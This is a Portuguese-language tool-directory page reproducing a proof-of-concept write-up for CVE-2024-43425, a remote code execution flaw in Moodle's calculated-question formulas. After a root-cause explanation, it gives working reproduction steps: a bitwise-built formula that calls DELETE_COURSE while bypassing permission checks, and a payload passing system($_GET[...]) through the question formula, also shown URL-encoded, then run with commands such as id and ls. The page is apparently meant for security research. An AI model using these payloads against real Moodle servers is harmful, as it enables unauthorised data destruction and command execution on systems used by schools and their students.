Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2024-43425 — Análise técnica detalhada e exploit de prova de conceito para CVE-2024-43425, uma vulnerabilidade de execução remota de código no Moodle por meio de fórmulas de questões calculadas, incluindo causa raiz e etapas de reprodução. | Kitploit
Ferramentas/GitHubGitHub/tnot123/cve-2024-43425
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubtnot123/cve-2024-43425

cve-2024-43425

Análise técnica detalhada e exploit de prova de conceito para CVE-2024-43425, uma vulnerabilidade de execução remota de código no Moodle por meio de fórmulas de questões calculadas, incluindo causa raiz e etapas de reprodução.

Ver Repositório
2há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-43425

Informações do firmware:

Nome do aplicativo: Moodle
Versão de compilação: moodle-4.4.1
Versões afetadas: 4.4 a 4.4.1, 4.3 a 4.3.5, 4.2 a 4.2.8, 4.1 a 4.1.11 e versões anteriores não suportadas
Link de download: moodle-4.4.1

Descrição e Impacto

Atacantes com permissão para criar ou modificar perguntas em um curso Moodle podem criar entradas maliciosas para perguntas calculadas, que podem ser abusadas para executar comandos arbitrários no sistema subjacente.

Causa raiz

alt

A função qtype_calculated_find_formula_errors ajuda a garantir a validade das fórmulas inseridas no Moodle, prevenindo erros de sintaxe

alt

As variáveis são substituídas pelo número 1.0, a fórmula é convertida para minúsculas e os espaços em branco são removidos.

alt

alt

A lógica de validação principal é realizada iterando sobre a fórmula e identificando a expressão matemática mais interna à esquerda, distinguível pela ausência de parênteses aninhados. Em seguida, essa expressão é substituída por um 1.0

alt

Finalmente, após a expressão regular não retornar mais correspondências, a fórmula é considerada válida se contiver apenas operadores ou números seguros. A fórmula original é então passada para eval.
A verificação do resultado é feita passando a fórmula para a função php eval() após uma filtragem incompleta. Existem 2 abordagens para contornar o processo de validação:

  1. A lista de funções matemáticas explicitamente permitidas pode ser usada para construir nomes de funções arbitrários como strings usando operações bit a bit, que podem ser chamadas como funções de variável quando seguidas por parênteses. A única maneira identificada de adicionar os parênteses obrigatórios é usando a substituição de variável embutida, permitindo assim que o atacante chame funções arbitrárias definidas no contexto do Moodle enquanto passa um único argumento numérico. A saída da função é revelada ao atacante.

alt

Substituir os placeholders de variáveis como {a} por seus valores envoltos em (), se adicionarmos {a} à expressão acima correspondendo a 'PRINTF', o resultado será 'PRINTF'(1), então é possível definir uma fórmula de resposta com duas partes: a (function_name) e a {variable}.
2) Variáveis não definidas não são substituídas antes de serem passadas para a função eval(), permanecendo intactas como parte da fórmula. Além disso, as verificações de sanitização para nomes de variáveis são menos rigorosas do que as verificações implementadas para todas as outras partes da fórmula. Isso pode ser abusado para chamar funções arbitrárias ao usar a sintaxe php object->{"member"}.

Passos para reproduzir

Criar uma pergunta calculada com uma variável, por exemplo {a}

alt

Salvar a pergunta e definir o intervalo de valores da variável exatamente como o ID do curso, que é 3

alt

Salvar a pergunta, em seguida, editar a expressão para
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

alt

Salvar a pergunta modificada resultará em um erro, mas a pergunta ainda será salva. Voltar ao banco de perguntas e pré-visualizar a pergunta. A função DELETE_COURSE excluirá o curso com o ID especificado, ignorando todas as verificações de permissão.

alt

alt

Execução Remota de Código

Criar uma pergunta calculada. Definir a fórmula de resposta como:
(1)->{system($_GET[chr(97)])}

alt

A expressão é modificada para 1-0-system($_GET{chr(97)})

alt

Interceptar a requisição e modificar de volta para (1)->{system($_GET[chr(97)])}
%281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

alt

Aparece o erro exception-system():Argument#1($command) cannot be empty

alt

Fornecer o comando desejado adicionando &a=[comando arbitrário] à URL. A saída do comando do sistema especificado será incluída no início da resposta HTTP resultante.
A=id

alt

A=ls

alt

Recomendações

Corrigir a função de sanitização qtype_calculated_find_formula_errors para que /question/type/calculated/questiontype.php sempre retorne falso se as perguntas calculadas não estiverem sendo usadas.

Baixar ferramenta